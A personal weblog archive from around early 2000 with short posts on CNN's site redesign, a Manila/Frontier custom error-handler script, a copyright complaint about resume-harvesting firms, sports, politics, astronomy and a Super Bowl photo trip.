My brain didn’t make the connection between the hideous redesign of CNN.com and and fact that AOL will soon own CNN and does own Netscape, the only browser with which CNN apparently tested their hideous redesign. (Have I mentioned that it’s hideous?) Perhaps it’s because I’m also a small flywheel in the machine that blinds CNN to the Internet reality.

Up until now, I’ve mainly been an Urban Fetch kind of a guy, but I’m also a Starbucks kind of a guy, which means I may have to become a Kozmo.com kind of a guy. Now, if they’ll deliver me a grande vanilla latte

herman miller aeron chair

Yesterday, my roommate took shipment of his brand spankin’ new Aeron chair, and I had instant envy. Beautiful, ergonomic, and much better then the kitchen table chair I use at my desk; within a few hours, I had ordered my own, and it should be here within a few weeks. (Tip: order it from Living.com. First-time customers get a $100 off their first order of $500 or more, there’s free shipping, and no tax, at least not for New York purchases.)

*whimper* Charles Schulz died last night, at the age of 77. He will be missed immensely.

Funny — the Shuttle had a Y2K problem today… on a Hasselblad camera.

I dunno — when it’s this cold out, it feels strange to know that pitchers and catchers start reporting to training camp today (Cubs today, Mets on Tuesday, all 30 teams by next weekend). On the other hand, it makes it feel a little warmer out just thinking about sitting in the upper deck of Yankee Stadium watching the Bronx Bombers on a lazy weekend afternoon…

This is a spooky report. It’s an official recommendation from the IANA about redelegating the top-level domain for Pitcairn Island (top-level domain .pn) — apparently, in mid-1997, it was delegated to two people who shouldn’t have gotten it. Shortly thereafter, the government of Pitcairn, as well as the Minister in the British government who handles territories of the UK, asked for the delegation to be fixed. The scary part is that, as far as I can tell, the delegation is still in the wrong hands; this report, from this month (two-plus years after it all started, and countless official pleas for correction later), concludes that the redelegation should take place, but it doesn’t appear to have taken place.

last updated:

There’s an excellent tutorial on writing an #objectNotFoundHandler written by Samuel Reynolds, but it only covers the mainResponder website framework, upon which Manila was built. The problem is that Manila has its own #objectNotFoundHandler, and it adds functionality to Manila (rather than just generating the error that someone would see if they went to a page that didn’t exist).

What functionality does it add? Manila has the ability for the admin to configure an XML-based hierarchy for his or her site, so that messages and stories can be lumped into tree-like structures despite being messages in the (flat-file organized) discussion group. So, on this site, http://q.queso.com/photos/ is a link to the master page of everything configured in the XML hierarchy as within the “photos” category, and http://q.queso.com/photos/newyears is actually just a link to message number 72 rendered in a story template.

Of course, there’s no object in my Manila website guest database that is named “photos”, so when you request http://q.queso.com/photos/, there’s nothing in the database location there, and the webserver fires off the #objectNotFoundHandler. In Manila, that handler then checks the XML hierarchy to see if there’s a category named “photos”, and if there is, it sends you to the right page; only if there’s nothing in the hierarchy that matches your request do you get an error page.

So, if you want to write your own #objectNotFoundHandler, you need to take into account that the default Manila one has functionality that you don’t want to lose. The way that I’ve discovered to do this is to wrap the default Manila one in a try statement; that way, if there’s truly an error, you catch the scriptError that’s thrown by the hierarchy-checking script, and can call your own custom error page or script in the else clause.

My #objectNotFoundHandler script looks like this:

local {
	pta = html.getPageTableAddress()};
try {
	return (manilaSuite.hierarchyPage ())}
else {
	if tryError beginsWith "!" { // custom error or redirect message
		scriptError(tryError)}
	else {
		return(pta^.tools^.pageNotFound())}}

Two notes:

  • I’ve got a script in my Manila website #tools table named pageNotFound that generates my custom error page; that’s what I’m calling with the pta^.tools^.pageNotFound() line.
  • The script that’s called by Manila’s default #objectNotFoundHandler, manilaSuite.hierarchyPage(), throws scriptError conditions for some things that aren’t necessarily indications that the requested page doesn’t exist. (For example, if you were to request http://q.queso.com/photos, without the trailing slash, it would throw a scriptError that would redirect your browser to http://q.queso.com/photos/, with the trailing slash.) That’s why I need to test the tryError to see what it contains; if it has a leading exclamation point (!), then it’s a condition that’s intended to be handled by mainResponder (like a redirect), so I continue to pass it along with the scriptError call. Otherwise, I call my custom error page.

eros asteroid from near satellite

Ahhhh, lazy Saturday (after being out way too late).

I don’t know how I missed this one, but the Astronomy Picture of the Day site had a cool image of the asteroid Eros, as seen from the NEAR satellite on its approach to the asteroid. The NEAR mission is very neat — the intention is that the satellite will become the first artificial moon of an asteroid, and monitor it. (The APOD site has great picture of a natural moon of an asteroid, though.)

I implemented a new error page for my site today — click here to try it. I also wrote a short note about some Manila-specific issues with custom error pages in Frontier; if you’ve got a Manila site and want a custom error page, it’ll help. (It is the result of a quick and clear discussion with Brent Simmons in the Frontier support discussion group.)

Any cat owner will tell you that this should not have a patent — we all do it, and have been doing it for decades.

While I agree that not being able to uninstall IE 5.5 is a problem, there’s a basic maxim at work here — if you don’t want to face such problems, don’t install beta software. Problems like this with beta software are a fact of life, and it’s the beta cycle that helps point out these problems, and get them fixed in the final shipping product. So instead of running to ZDNet complaining, report it back to Microsoft.

As if we needed any more evidence that Jesse Helms is racist swine. Despite that, though, I feel that Clinton probably could play a little tougher on the issue of race on the Federal Court level; if he made this an issue (and when better than in the last year of his presidency?), something good could come of it.

I really do feel compelled to assume that the Aluminum Foil Deflector Beanie (AFDB for short) is a joke site, but I can’t be sure of that. If it’s not, then conspiracy theorists need to stop dropping acid. (I apologize for the Tripod popup window.)

Although… seeing as the current Shuttle mission involves radar topography, perhaps they’re also sending out some mind control signals from that radar, and we all should be wearing our AFDBs, lest we end up voting for Dubya.

(Note: I really did want to point that last Dubya link to the real George W. Bush for President page, but going there throws up a popup window, and I hate them. So instead, you get the parody page.)

Judging from the heavy demand on the live webcast page, I’m not the only one that watches and listens to NASA TV whenever the Shuttle is up.

Manila is growing itself up into a full-fledged content management system…. custody is a great new feature.

I reported a bug today to the Mozilla group, on this page not drawing in correctly with its CSS-implemented borders. It’s bug 27492.

This is the text of an email that I sent to Larry Vitatoe (larry@equest.com) today regarding his company, Passport Access, and their practice of crawling the web for resumes, entering them into their database, and then charging clients to search and retrieve them.


Larry:

Thank you for hearing me out on the phone today. I wanted to follow up with this email, explaining how it is that your company is violating *major* laws and copyright statutes with the I-Spy Technology, and specifically, that there is absolutely no requirement for a copyright symbol or registration of copyright for a work to be copyrighted — thus, the mere act of you selling that resume to a client of yours is a violation of U.S. Copyright code, and punishable as such.

So, my basic complaint: Passport Access, by using a webcrawler to search out resumes that have not specifically been entered into their database and entering them, is violating a MAJOR tenet of United States copyright law. Every one of those resumes is protected by copyright, and each time you sell one to a client, you are committing a Federal offense. And the

Here are two specific, on-point references to copyright law in this situation, and one good reference for you:

How to Secure Copyright, from the US Copyright Office:

http://lcweb.loc.gov/copyright/circs/circ1.html#hsc

Explains that copyright is affixed to a work automatically upon creation; no notification or registration is required.

Copyright Infringement in Cyberspace:

http://www.wvjolt.wvu.edu/wvjolt/current/issue1/articles/salang/salango.htm

Explains particular appliations of copyright law on the Internet

Chapter 5 of the U.S. Copyright Code:

http://www.loc.gov/copyright/title17/chapter5.pdf

Explains the specifics of copyright infringement, including penalties. Note that, according to the law, what you are doing is both a Federal civil and a Federal *criminal* offense (see section 506a); that you could have every hard disk and computer that could store the infringed material impounded by Federal marshalls (sections 503, 509); that you could be fined up $100,000 *per violation* (section 504(c)(1)); and that you will be responsible for all civil action legal fees incurred by each person who sues (section 505).

Note that the $100,000 maximum fine is contingent on committing the infringement knowingly; this email takes care of any argument to the contrary.

Please pass this on to the people who you claim would be able to handle this matter. I expect a reply from you; this is a very serious matter.

Thank you in advance.

Jason Levine

Queso Technologies

From MetaFilter comes a warning that there are at least two online resume collection companies, Passport Access and Aquent, who are employing spiders and webcrawlers to find resumes on people’s websites, suck them into their databases, and then sell them to clients. This is a major, flagrant violation of U.S. Copyright law — you hold copyright on your resume, whether or not you indicate so with a little © symbol, and for them to take it and sell it is a Federal offense. I spoke with someone at Passport Access, and here is the text of an email (with copyright law links) that I sent as a followup to our discussion.

I just got a call from John Malone at Passport Access, and they seem to understand the issue, as of now. He is forwarding my email onto their IP lawyers, and will keep me informed as to the response they get. He also said that if anyone wishes to express their opinions on this, they can either email Larry Vitatoe at larry@equest.com or call (888) 425-2816.

Wow… a high school basketball player in San Antonio has been sentenced to five years in prison for elbowing an opponent during a game. The longer version: he was on probation for two counts of burglary, and after elbowing the opponent, he was charged with aggravated assault. The sentence was not directly related to the probation, though; aggravated assault alone carries a two to 20 year sentence.

Makes me shudder to think about the potential precedent this sets; if I’m an NBA player, I’m scared to play in San Antonio now, lest my flagrant foul land me in prison. And how about someone like Latrell Spreewell, who choked his coach hard enough to leave brusies?

The insurer for Who Wants to Be A Millionaire, Goshawk, is suing to get out of their contract with the game show, claiming that the show is too generous — they want harder questions and dumber contestants.

Spooooooooooon!

Remember the judges who prevented APBNews from getting access to all of the federal judicial financial disclosure forms? Well, it turns out that months before this, they let USA Today have even more than APBNews asked for.

Re CNN’s site redesign and unreadability on Internet Explorer: if you read through their Technical message board (which is what they are telling people to use to report the problem), it appears that they never tested the redesign on Internet Explorer. There are more than one problem that appear on IE, but don’t on Netscape; this seems like a boneheaded testing scheme, seeing as IE has around 75% of the browser market. (That link may not work in the future; StatMarket has decided to go to a subscription service.)

(Note that I’m not trying to make this into another Netscape v. Internet Explorer thing. Instead, this is a usability thing, and it should be a big concern for websites that depend on having users. A site should, at a bare minimum, be usable on all browsers, even if all the baubles and tinsel don’t work properly.)

*blush*

As a follow-up to the note a few days ago about the Orange County school district trying to ban a student group dealing with gay-straight outreach issues, the school is now on the cusp of banning all school groups just so they can legally prevent the students from meeting. In the wisdom of Dilbert: “People are idiots who deserve to be mocked.”

Hello to all the readers sent here from Neale Talbot’s Wetlog — and thanks to Neale for the virtual shout out, as it were.

And finally, the original, non-abbreviated version of the Wazzup commercial.

Brent got an answer from CNN re: their itty bitty font size; they must value him slightly more than me, since I wrote them and complained on the message board that they tell him to use, and I have got a big fat nothing from them about it. Anyhoo, they told Brent to increase his font size; they must be joking, that people are going to change their browser setup just to look at their site. Whatevers.

And to answer a question on John Auterman’s site, yes, I believe the common thread between Brent, Dave, and myself is that we all use Internet Explorer, and we all have our font size set to “small” (not “smallest”, just “small”). And CNN’s site sucks, whereas it used to look fine, and almost every other site still looks fine. (And a sincere thank you to John — his site has bookmark links for each day, so that the above link will bring you to the right place, at least as long as it is on the front page. I’ll still have to change the link when it rotates off of the front page, though.)

The Cincinnati city council has officially invited Pete Rose to the city’s celebration of the 1975 Reds World Series championship team. They also proposed banning Bud Selig from the affair, but it would have no legal standing. Excellent.

I’m sooooo jealous of Steve Tannehill — someone sent him a copy of the Academy Screener of Magnolia on DVD. I want it I want it I want it!

An interesting little ditty by an author who found some personal letters of hers for sale by an online bookstore, apparently sold to it by a former graduate school advisor.


And, a glimpse of John McCain that makes all those memories of the dirty Presidential campaign of 1988 flood back. (Although I am somewhat hesitant to point to this now, since I want McCain to kick the crap out of Dubya so that I don’t have to keep looking at his talentless face anymore, or at least for four more years…)

As predicted, the Afghan airline hijacking has ended without bloodshed and with the surrender of the hijackers. A much better ending than the one last month.

Remember the cool Astro-E satellite that I wrote about a few days ago? Well, it was put into the wrong orbit, making it unusable. Interestingly, none of the major news sources had this story for hours; instead, they had a story that it was launched successfully. MSNBC now has the story. (For all I know, CNN has the story as well, but since their redesign has left them totally unreadable on my computer, I wouldn’t know.)

The Onion: NFL Star Thanks Jesus After Successful Double Homicide. Summarizes my feeling about expressions of religious thanks after winning a sports game…

David Theige, the man behind MedEd News (a great daily medical education news site), has a a pretty on-point note today reviewing Manila. I could not agree with him more about the search engine; it took me over a week to get my search engine set up, and it would be cool if it just installed out-of-the-box.

adobe q

Lots ‘o fun playing with Adobe’s new free web services today; I particularly like the banner maker. And the photo frame tool at Creative Pro is something I will have to play more with; I always see beautiful framing on online pictures and get jealous.

Hee hee hee, I bet this won’t make eToys’ stock do any better.

Today, I was sitting in class at med school, listening to a lecture on medical economics, and I realized that drug companies have been doing for decades what people are really upset about Internet companies doing now — using patents to leverage an advantage over competition. And while, as an almost-doctor, I don’t like the fact that certain medications cost a lot more than they should merely because they’re on-patent, I have grown to accept that that’s the price we pay for biomed companies working hard to come out with newer and better medications or stents or whatever. I think that I feel the same way about Amazon and the 1-Click shopping patent — they worked hard to implement something that hadn’t ever been done before (despite Richard Stallman’s arguments otherwise), and maybe they’re entitled to protection of their intellectual and technological work, for a while at least.

Chuck Taggart has an excellent quote on Looka today, as a reaction to a California GOP “prayer breakfast” in which gay marriage was equated to Nazi Germany:

Let’s see … gay marriage = a long-term, committed same-sex couple wanting to legally formalize their monogamous relationship for the rest of their lives, also entitling them to (among other things) insurance benefits, inheritance rights, and the right to visit one another in the hospital. Nazi Germany = a fascist regime that triggered World War II in Europe, caused the death of tens of millions of people, including the systematic slaughter of six million Jews and another five million Slavs, Gypsies and … homosexuals. Um, right.

(As an aside, I have no idea why the issue of discrimination based on sexual orientation gets to me; I think that it’s because, given that I grew up in relatively intolerant San Antonio, Texas, my first real exposure to anyone that I knew was gay was in college, and specifically, was in a class on civil rights taught by Jack Greenberg, former head of the NAACP Legal Defense Fund. Many parallels were drawn during that class, and whenever I read about gatherings like the above-mentioned prayer meeting, I get vivid mental flashes of the images from the civil rights movement, of adults and children being attacked, gassed, hosed, and killed, and realize that even today, we’re not as far removed from that atmosphere as we’d like to think we are.)

CNN changed fonts and sizes on their home page two days ago, and it is now totally unreadable. I sent them a message about it via their Feedback page, and posted a message to their technical message board (as have other people), but they seem pretty unresponsive. Oh, well — there’s always MSNBC, which looks better and generally has more news.

The full text of a story that just came across our AP News Wire: “Cowhide heavy Native Spot is .76 3/4.” What on Earth does that mean?

all the go logos

At Least the Disney Lawyers Can’t Win Everything: I thought that the Go Network logo had changed recently, and I remembered a flap about GoTo.Com suing Go Network (Disney) for trademark infringement. GoTo.Com first used their logo in December 1997; Disney started the beta test of the Go Network, with the logo, in December 1998. In November of last year, a judge prohibited Disney from continuing to use the logo, but the injunction was suspended quickly pending a three-judge panel ruling (and in the face of a complaint by Disney that it would cost them $40 million to change it, like anyone feels sorry for them). The ruling came down on January 28th, reinstating the injunction against Disney. (Above, the leftmost logo is GoTo.Com, the middle is the Go Network’s old logo, and the rightmost is the new one.)

In reading the Ninth Circuit Court of Appeals decision in GoTo.Com v. Disney, it strikes me how sleazy Disney was in their attempt to get to continue using the logo.

  • Disney claimed that GoTo.Com wasn’t really harmed, seeing as they are doing well as a company (something completely irrelevant to a trademark dispute);
  • Disney submitted their logo to the Patent and Trademark Office in black-and-white, rather than color, and then tried to convince the court with the fact that the PTO didn’t see a similarity in the logos;
  • Disney argued that GoTo.Com lost their ability to sue when they waited until July 1999 to request an injunction, when in fact, Disney had entered into talks with GoTo.Com over the logo in February 1999 with a binding agreement that Disney could not raise the issue of a delayed injunction;
  • Disney claimed that GoTo.Com altered its logo to make it more like the Go Network one in an attempt to win the suit (most people who remember the days before Disney’s Internet presence know this to be untrue);
  • Disney argued that it would be extremely difficult for them to change their logo, when in fact, they managed to implement a change to their whole website for the two days between the original injunction and the suspension of the injunction.

Maybe some of this is typical for civil defense arguments, but it’s still pretty sleazy.

all the go logos

At Least the Disney Lawyers Can’t Win Everything: Disney has been prohibited from using their green traffic light logo, since it’s too similar to the logo of GoTo.Com. The decision points out a plethora of sleazy things Disney argued to try to prevent this.

Two more legal items:

  • Why does the Orange County Unified School District want to prevent a gay-straight alliance school group from meeting? I didn’t realize that this degree of intolerance existed in relatively civilized Los Angeles.
  • Why do people keep alluding that ThirdVoice and uTOK are doing something illegal? If I, as a user, choose to download an application and use it to add content to all of my web page requests, then it seems like I should be free to do that. (That’s exactly what the John Malkovich Mediator does, and there are other services that do things like help visually impaired web users with graphic-heavy sites.) Why you would want to use ThirdVoice or uTOK is a whole different matter…

It’s completely ridiculous that Pete Rose cannot participate in the 25 year anniversary celebration of the 1975 Cincinnati Reds World Series championship team. Bud Selig needs to be ousted, now — he’s the one that’s making baseball look terrible.

AdCritic now has the SuperFriends Wazzup commercial on their site, for those of you who couldn’t get to the original site before it was swamped with traffic.

Slate’s new Bushism of the Week:

I think we need not only to eliminate the tollbooth to the middle class, I think we should knock down the tollbooth.

I decided to listen to this past weekend’s Car Talk via the web, and a caller asked a question that sounds exactly like my old car. A Volvo GL diesel stationwagon, and I could completely envelop someone following me too closely in a cloud of black smoke. Great way to deal with tailgaters.

This editorial by Ed Foster echos my sentiments on AllAdvantage.Com (and companies like Epidemic.Com), but I’m not wholeheartedly recommending a page read — when I went to the page, InfoWorld.Com decided to throw a full-motion, full-audio ad on the top for Windows 2000. By the time the ad had loaded, I was already a few screens into the article; I had to figure out what was making my computer spout ads at me, page up a bit, and find the itty-bitty, vertically-oriented stop button to make the damn thing quit. That was the last page I will read on their site, unless I get a response to the email I sent Laura Wonnacott explaining that this was just an oversight on their part, and that things like this won’t continue on their site.

I somehow missed Salon’s excellent article on The Simpsons vs. alt.tv.simpsons. Having abandoned regular Usenet reading long ago in the face of the spammers and pornographers, I didn’t catch any of the references in the show; this puts them in perspective, and it’s all actually quite funny.

Wow — the U.S. and Japan are about to launch the Astro-E satellite, with a sensor that has to be cooled to 0.060 Kelvin (-460 degrees Fahrenheit), making it “the coldest object in space.” Nasa has a press release that has a basic explanation of the cooling system — solid neon, liquid nitrogen, and paramagnetic crystals with a powerful superconducting magnet. (Pet peeve: the Kelvin scale doesn’t use the term “degrees”, and the science fact-checker at CNN should probably know that sort of thing.)

Quick note to the GOP: despite my disagreements with you, if David Duke disapproves of how you’re running the party, then something must be right…

Not too long ago, Phil and I were discussing the cool first-and-ten line that all the major networks are adding into their broadcasts of football games. I just learned that the New York Times explained the technology in their Circuits section. (I saw a TV piece on this not too long ago, but it mentioned something about GPS receivers and sideline placements as well; I wonder if there are other technologies that were tested and passed over.)

Ummmmmm… does anyone want to explain this to me? Or perhaps this?

The people who hijacked an Afghan airplane have probably made a big mistake — this isn’t going to be like the end of the hijacking last month in Afghanistan. They’re in England now; they aren’t going to be allowed to take back off, and they definitely aren’t going to be allowed to drive away scot-free.

A few days back, I pointed to The John Malkovich Mediator. Yesterday, I decided to write my own mediator. (What is a mediator, you ask? Here’s a good answer, with examples of some.) My mediator just sits between a user and a webserver, and returns the website to the user essentially intact. I’ll release the code for it relatively soon; there are bugs to be worked out first.

A must-see, if only to wonder if it’s real or not: the Vulvabed. In particular, check out the letter from a satisfied customer.

ICK…. a woman has apparently been killed at my alma mater, and the person who they think did it, allegedly her boyfriend, killed himself by jumping in front of a subway a few hours later. My sister lived in the dorm in which this all happened. ICK.

For those of you who are Frontier programmers: I’m having a problem with tcp.httpClient, and would appreciate any light you could shed on it…

Never mind! It turns out that two sites that I was contacting don’t generate valid HTTP — they put newlines only between the lines of the HTTP response, rather than carriage return/newline combinations, which are required by spec (see chapter 6). I hate that webbrowsers just gloss over invalid HTTP, not even alerting you that something’s not right.

Kurt Vonnegut is slowly recovering.

Ask for DOJ involvement in the computer industry, and ye shall receive.

I wonder if Dave has given his employees digital cameras. I should visit all their Manila sites and see — I’ve worked with some of them enough that it’s probably time to know what they look like!

Today, I received an email from a friend with what she said was the first great quote of the Millennium: Monica Lewinsky, ostensibly on Larry King Live, talking about her Jenny Craig diet, saying “I’ve learned not to put things in my mouth that are bad for me.” The problem is, I then went looking for the transcript from that show, and she never said that.

Miramax disinvited over 80 Internet movie reviewers from screenings of Scream 3, fearing that an Internet reviewer would be more likely to give away the ending. What, that the whole series is overrated? (Besides, the Internet reviewers feed what seems to me to be the exact target audience of the movie — young, media-savvy, slightly addictible, and with enough money to see the movie.)

This week, the enormous ISP Verio tried to trademark the term whois, and failed. Makes me think twice about ever doing business with them; then again, after my experience with their crack security team, I wasn’t really ever going to use their services.

The Supreme Court granted a stay in an Alabama execution last night. When was the last time they did that?

Today ends my visits to pediatrics residency programs for interviews or second-looks; I now have no excuse for not putting together my rank list and turning it in to the National Residency Match Program. (It’s due February 16th.)

Having spent the last two months in airplanes, I could not be happier with this.

In the Something-You-Don’t-See-On-TV-Often department: in the swimsuit competition of the Miss USA pageant, you could clearly tell that Miss Iowa had two supernumerary nipples. Freaky to see on national television.

Dubya speaks at a school that has banned interracial dating. I’m sorry, I’ve just got to say it — what a pig. (Of course, Steve Forbes and Alan Keyes are both scheduled to speak there, as well — but I feel the same way about them.)

Why would a black man (Keyes) speak at a university that banned black admissions, then banned admission of unmarried black people, then (under court order) let in unmarried black people but banned interracial relationships, and took their right to remain a tax-exempt organization (under religious pretenses) all the way to the U.S. Supreme Court? (They lost, by the way.)

And it turns out the Bushism of the Week is a regular feature on Slate! This week’s:

This is Preservation Month. I appreciate preservation. It’s what you do when you run for president. You gotta preserve.

And from two weeks ago (I couldn’t resist):

The administration I’ll bring is a group of men and women who are focused on what’s best for America, honest men and women, decent men and women, women who will see service to our country as a great privilege and who will not stain the house.

Pure genius: the Budweiser “Wazzup” commercial, but done with the Superfriends. (If you haven’t seen the Wazzup commercial, there’s an abbreviated version here.)

AdCritic is awesome — your favorite commercials, as QuickTime movies. Some of my present faves: EDS and the cat herders, Ruffles and Mark Messier, Adidas and the El Duque, Mountain Dew and the bad cheetah, BMW and cliff diving, and a relative oldie, Kahkis Swing.

One more AdCritic link — a Volkswagon commercial, with a friend of mine from college. (She’s the one driving the car, expertly applying the anti-lock brakes.)

hubble carina nebula image

Another cool image from the Hubble Space Telescope, but this one’s not from the newly-refurbished equipment, but rather a composite of four April 1999 images. It’s of the Keyhole Nebula, and it’s just plain coooooooool.

An interesting article on why people stay with AOL, instead of switching to a less-expensive ISP with unengineered web access. (It also mentions EarthLink’s new ad campaign that took me a while to understand — the big orange billboards with opposing email addresses, like “goliath869@aol.com” and “david@earthlink.net”.)

I always suspected as much, but now research shows that anesthetized surgery patients remember things said during their operations. I hate to think about the effects of some of the things that surgeons said during operations when I was doing my surgery and subspecialty clerkships…

Also on the medical front, a controversy is brewing in Britain and Scotland over two men who asked for healthy limbs to be amputated, and had it done. They both suffer from body dysmorphic disorder, a psychiatric disorder where they obsess over perceived imperfections in their bodies.

I read The Onion regularly, but something I’ve neglected is The Landover Baptist Church, a hilarious spoof of evangelical religion that plays like The Onion a lot of the time. This week: Charitable Baptists Donate Hazardous Waste To The Poor As Tax Year Draws To A Close. (The guestbook is awesome as well — tons of people who clearly either don’t understand that the site is a parody, or are horribly offended that it’s a parody of religion. For a good laugh, see Jessica’s entry on January 22, 2000.)

Lots of new discoveries in the dinosaur artifact world — the Rio Negro Giant (estimated to be 160 feet long and 45 feet tall), and a 100 to 130 foot long sauropod from 32 million years after paleontologists thought that they had gone extinct. (The latter was found in Texas; as a kid, we would always take field trips to streams and parks with huge dinosaur prints and other remnants, and I couldn’t believe how huge these things had been.)

my iron giant

I moved back into my office today, and first on the list of things to do was set up my 20-inch-tall motorized Iron Giant robot, complete with magnetic Hogarth to hang out on his shoulder and activate him. For a few days, the QuesoCam will feature the big guy… catch him while you can!

I have to say, I pretty much agree that eBay should pull KKK items down from auction. There’s a social responsibility here, and eBay has always been of the mindset that they don’t have to allow everything to be auctioned; seeing this being auctioned (and apparently, at one point it was in the “Black Americana” category, as were other Klan items from the same seller), or this, this, this, or this and this (which the seller suggests you should continue to wear!) just nauseates me. Quite honestly, let racist swine start their own auction site.

Yesterday, I pointed to Jason Kottke asking why up and down aren’t flipped in a mirror, since left and right are; today, Andre relates a Richard Feynman answer. The web is a wonderful place.

From the annals of websites that scare me: A Woman’s Guide on How to Pee Standing Up.

Apparently, you better visit New Orleans soon, because it won’t be there for long.

The Senate has acted to prevent bankruptcy determinations from freeing people of debts owed due to court judgments against them. This makes a great deal of sense to me — an abortion protester shouldn’t be able to claim that he can’t be held financially responsible for court judgments because he has a lot of debt due to other court judgments. (I admit, though, that I’m not 100% positive that I understand everything that this article is talking about; I feel that I need a little more background.)

My Windows 2000 machines at home still don’t want to play nice with each other, and it’s come to Microsoft tech support setting up an entire network which duplicates ours in order to try to figure out what’s going on. Something’s amiss; we think that it’s related to NetBIOS scope IDs, which we use in places on our network. More later.

In this article, I don’t understand the statement “Under an agreement worked out with the prosecution, she expressed remorse for the attack and was released without punishment or a criminal record.” Let me get this straight — they were prosecuting a supermodel for assaulting an assistant, and managed to squeak out a deal where she admitted she did it in return for no punishment at all?

Back in NYC today, returning to the swing of med school and dealing with a strange Windows 2000 problem where my two machines cannot see each other on the network (but can see every other non-Win2K machine, and all the non-Win2K machines can see them).

Interesting — the problem was a subnet mask on an alternate IP address of one network card on my subnet. It’s fixed now. (Whoops! Spoke too soon. It’s now intermittent, but mostly NOT working. I have NO clue on this one; neither do the MS techs that I’m working with.)

Jason Kottke asked a question today that has actually kept me awake at night — “When you look at yourself in a mirror, everything is reversed from left to right and from right to left. Why aren’t you upside down as well?” To me, it’s sorta like “If the universe is expanding, what is it expanding into?”

Sean Elliott receives the final OK to practice with the San Antonio Spurs. If he makes this comeback, I will be the happiest man alive — what a major milestone.

MSNBC reports on something that should be pretty evident — oral sex, in and of itself, isn’t safe sex.

Excellent diatribe on Lotus Domino today over at Qube Quorner. A good summary tagline: “Who doesn’t like Domino? Anyone who has to use it every day, whether they be a busy sysadmin or a busy user.”

The Center for Democracy & Technology has put together a page that helps you not only opt-out of DoubleClick’s profiling, but also mail the largest DoubleClick affiliates and the CEO of DoubleClick letting them know that their behavior is unacceptable.

Yay! A bug in Frontier 6.1’s search engine routines has been fixed. This bug didn’t cause me any problems, really, but when I had other problems, the errors that it kicked out did make things hard to figure out.

Another active NFL player has been charged with murder. Finally, the NFL gets a great Super Bowl, and on the same night, gets this black eye…

ZDNet has an interesting story about scams run through X.Com and WingSpan, two online banks. Apparently, you could open an account with either and transfer money into it using just the routing code printed at the bottom of a check — and they didn’t have any checks in place to make sure it was your check. Who is in charge of security at places like that?

Around two hours to Super Bowl 34, and our setup looks happy…

The U.S. women’s national soccer team has ended a boycott that I didn’t even know was happening. Women’s sports get terrible media coverage in the U.S….

Icy day in Atlanta, but it looks like the storm has pretty much missed us. One thing I’ve (re)learned in all this is that weather forecasting is as much voodoo as it is anything else.

More fun with websearches: today I found “The Jason Levine Collection”, which appears to be an alternate me selling his entire Mad Magazine collection. (He should learn how to use Levels, or at a minimum, the contrast settings, in Photoshop.) There’s also a testimonial about a search engine submission service, a lost classmate of Lynbrook High School, a newly-engaged web designer in California, a guest bass player with the Jumping Buddha Ensemble, and a pediatric endosurgeon, none of whom are me.

Salon has a detailed look at the flap over APBNews.com and the judges’ financial disclosure forms. I think that this would have been a total non-issue if the forms had been posted by APBNews.com; now that the judges have blocked their release, though, it became an issue that they will probably regret having started.

This is an interesting development in web commerce — customer service agents who offer real-time help even without being asked. This will probably appeal to a number of people; for me, though, when you combine the fact that I shop on the web to be able to browse unhindered with the fact that I, as most New Yorkers, don’t like salespeople who hover, this isn’t all that attractive.

I tried to opt-out of my DoubleClick cookie today, but when I tried to click on the page that actually does the opting-out, I got “HTTP Error 401.3 Unauthorized: Unauthorized due to ACL on resource”. Great, these are the people who are going to be compiling oodles of information on everyone, and they can’t keep their webservers running correctly.

More pictures, this time mostly of our dinner (at a great Texas BBQ place) and adjournment home. Again, click on the pictures for more info on each.

phil and i too close

chris looking pensive

kathy sans bright light

shiner beer of the gods

kathy paging

phil blurry

self portrait

dave and spencer

shiner!

Busy day today — lots of programming, a cool barcode app for our film workflow on the road.

We did manage to get more pictures online, this time of last night. They were taken with a Nikon CoolPix 950 that belongs to Gary, a Reuters friend of ours.

This is the master index for all of my trip pictures.

I took these mainly to test out the processors and scanners; I love the car, though (I’m a Volvo fanatic), and thought the pics looked great. Again, you can click on each picture if you want more information.

volvo c70

volvo c70

volvo c70

volvo c70

volvo c70

This is the first set of images out of our trip to the Super Bowl in Atlanta, Georgia. They’re a combination of tests for the processor and little interesting things. You can click on the pictures for more information about them.

phil, chris, and the dome

phil from above

me setting up my dell

my laptop staging area

our very own harlan lookalike

our very own broken scitex eversmart

lab workspace in trailer

phil's tongue

pictures!

Our processors are up and running here in Atlanta, so hopefully, we’ll have pictures galore today…

…and we do! There are two sets of pictures up now — our workspace and environs, and our kickin’ rental car. Now, I need to get pictures of us in front of the huge CNN logo at the CNN Center, and in the Dome.

This week’s Onion “What Do You Think?” is on the Confederate flag & South Carolina.

Interesting — the $500 check that Microsoft paid Michael Chaney for reregistering the passport.com domain name auctioned off today for $7,100. Chaney is donating the money to charity; the winner, John Corrigan, is going to reauction the check, again for charity.

Apparently, New York firefighters can’t deal with fictional representations of themselves.

APBNews has a site up with the rap sheets of the Super Bowl players who have had run-ins with the law. I don’t know if the number of people represented is high or not; I do know that if I had done what Leonard Little has, I would certainly be in prison right now.

Awesome — in their haste to try to keep the code to DeCSS secret, DVD industry lawyers publicized it in their court filings. (For now, the declaration is available here and here.)

If you really liked yesterday’s triple-exposure image of the recent lunar eclipse, the photographer, Stephen Barnes, is selling copies.

Today, I did a search on AltaVista for pages that link to my company home page (http://www.queso.com/), and came up with some guy who put my page on his list of “Weird, Strange, and Kooky URLs”. I guess I’m… flattered.

Something else I noticed on AltaVista (or, should I say, have noticed for a while now on all of the major search engines) is the absolute silliness that they engage in by putting your search string into prepackaged ads, like “Find Amazon books on Pamela Anderson nude tattoo”. Here’s today’s (which AltaVista could definitely prevent from displaying, seeing as it uses a custom extension to their search engine as a prefix, which they could filter):

altavista silliness

Jean McGrath, state representative in Arizona, has proposed restricting Internet access on public universities to “educational purposes” and mandating filtering software. This is the same woman who has offered up legislation banning opposite-sex visitors in any dormitory rooms, too… wow.

Ack — McPaper is reporting that apparently, DoubleClick is now actively identifying ad viewers by name, address, and phone number, and passing that information on to advertisers.

For those who saw Being John Malkovich, someone has set up a “mediator” web site that’s pretty funny.

eToys has finally dropped the lawsuit against etoy.com, for real this time. (Maybe this has something to do with it.)

lunar eclipse

Simple question: could this be more beautiful? (From the Astronomy Picture of the Day site, which is pretty darned cool — two professional astronomers who put amazing pictures up every day, and explain them in laymen’s terms.) Hint: click on each of the four words linked in the last sentence.

Also re: space and the great unknown, Hubble is back and better than ever (the picture of the Eskimo nebula is spiffy as all hell). And the Mars Polar Lander may have sent us a signal after all (tests this week will determine whether this is a pipe dream).

